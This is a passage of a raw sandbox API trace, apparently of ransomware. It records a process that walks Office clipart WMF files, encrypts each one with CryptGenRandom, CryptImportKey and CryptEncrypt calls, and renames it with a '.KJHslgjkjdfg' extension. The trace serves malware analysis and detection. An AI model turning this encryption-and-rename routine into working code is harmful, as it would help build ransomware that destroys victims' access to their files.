ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39fc8c00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00130_.WMF", cAlternateFileName="")) returned 1 [0154.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.904] GetProcessHeap () returned 0x2a0000 [0154.904] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.904] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.904] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.905] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.907] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.907] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.907] GetProcessHeap () returned 0x2a0000 [0154.907] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.907] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.907] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.907] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.907] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.907] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.907] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.908] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.908] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.908] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.908] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b8, lpOverlapped=0x0) returned 1 [0154.908] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c0) returned 1 [0154.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.908] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c0, lpOverlapped=0x0) returned 1 [0154.908] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.908] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.908] SetEndOfFile (hFile=0x114) returned 1 [0154.911] GetProcessHeap () returned 0x2a0000 [0154.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.911] GetProcessHeap () returned 0x2a0000 [0154.911] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.kjhslgjkjdfg")) returned 1 [0154.912] CloseHandle (hObject=0x114) returned 1 [0154.912] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c58200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83c58200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00148_.WMF", cAlternateFileName="")) returned 1 [0154.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.913] GetProcessHeap () returned 0x2a0000 [0154.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.913] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.913] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.913] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.913] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.913] GetProcessHeap () returned 0x2a0000 [0154.913] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.914] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.914] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.914] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.916] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.916] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.916] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.916] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.916] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.916] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.916] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6a0, lpOverlapped=0x0) returned 1 [0154.916] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0, dwBufLen=0x6a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6a0) returned 1 [0154.916] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.916] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6a0, lpOverlapped=0x0) returned 1 [0154.916] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.917] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.917] SetEndOfFile (hFile=0x114) returned 1 [0154.919] GetProcessHeap () returned 0x2a0000 [0154.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.919] GetProcessHeap () returned 0x2a0000 [0154.919] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.920] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.kjhslgjkjdfg")) returned 1 [0154.921] CloseHandle (hObject=0x114) returned 1 [0154.921] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82945500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82945500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00152_.WMF", cAlternateFileName="")) returned 1 [0154.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.922] GetProcessHeap () returned 0x2a0000 [0154.922] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.922] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.922] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.922] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.925] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.926] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.926] GetProcessHeap () returned 0x2a0000 [0154.926] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.926] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.926] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.926] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.926] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.926] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.926] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5ec, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5ec, lpOverlapped=0x0) returned 1 [0154.927] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5f0) returned 1 [0154.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.927] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5f0, lpOverlapped=0x0) returned 1 [0154.927] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.927] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.927] SetEndOfFile (hFile=0x114) returned 1 [0154.930] GetProcessHeap () returned 0x2a0000 [0154.930] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.930] GetProcessHeap () returned 0x2a0000 [0154.930] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.kjhslgjkjdfg")) returned 1 [0154.931] CloseHandle (hObject=0x114) returned 1 [0154.931] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a72500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a72500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0xf92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00194_.WMF", cAlternateFileName="")) returned 1 [0154.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.932] GetProcessHeap () returned 0x2a0000 [0154.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.932] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.932] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.932] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0154.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.934] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.934] GetProcessHeap () returned 0x2a0000 [0154.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.935] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.935] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.935] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.935] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.935] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.935] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.936] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.936] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.936] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.936] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf92, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xf92, lpOverlapped=0x0) returned 1 [0154.936] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfa0, dwBufLen=0xfa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xfa0) returned 1 [0154.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.936] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xfa0, lpOverlapped=0x0) returned 1 [0154.936] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.936] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.936] SetEndOfFile (hFile=0x114) returned 1 [0154.939] GetProcessHeap () returned 0x2a0000 [0154.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.939] GetProcessHeap () returned 0x2a0000 [0154.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.939] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.kjhslgjkjdfg")) returned 1 [0154.940] CloseHandle (hObject=0x114) returned 1 [0154.940] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81632800, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81632800, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00195_.WMF", cAlternateFileName="")) returned 1 [0154.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.942] GetProcessHeap () returned 0x2a0000 [0154.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.942] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.942] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0154.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.945] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 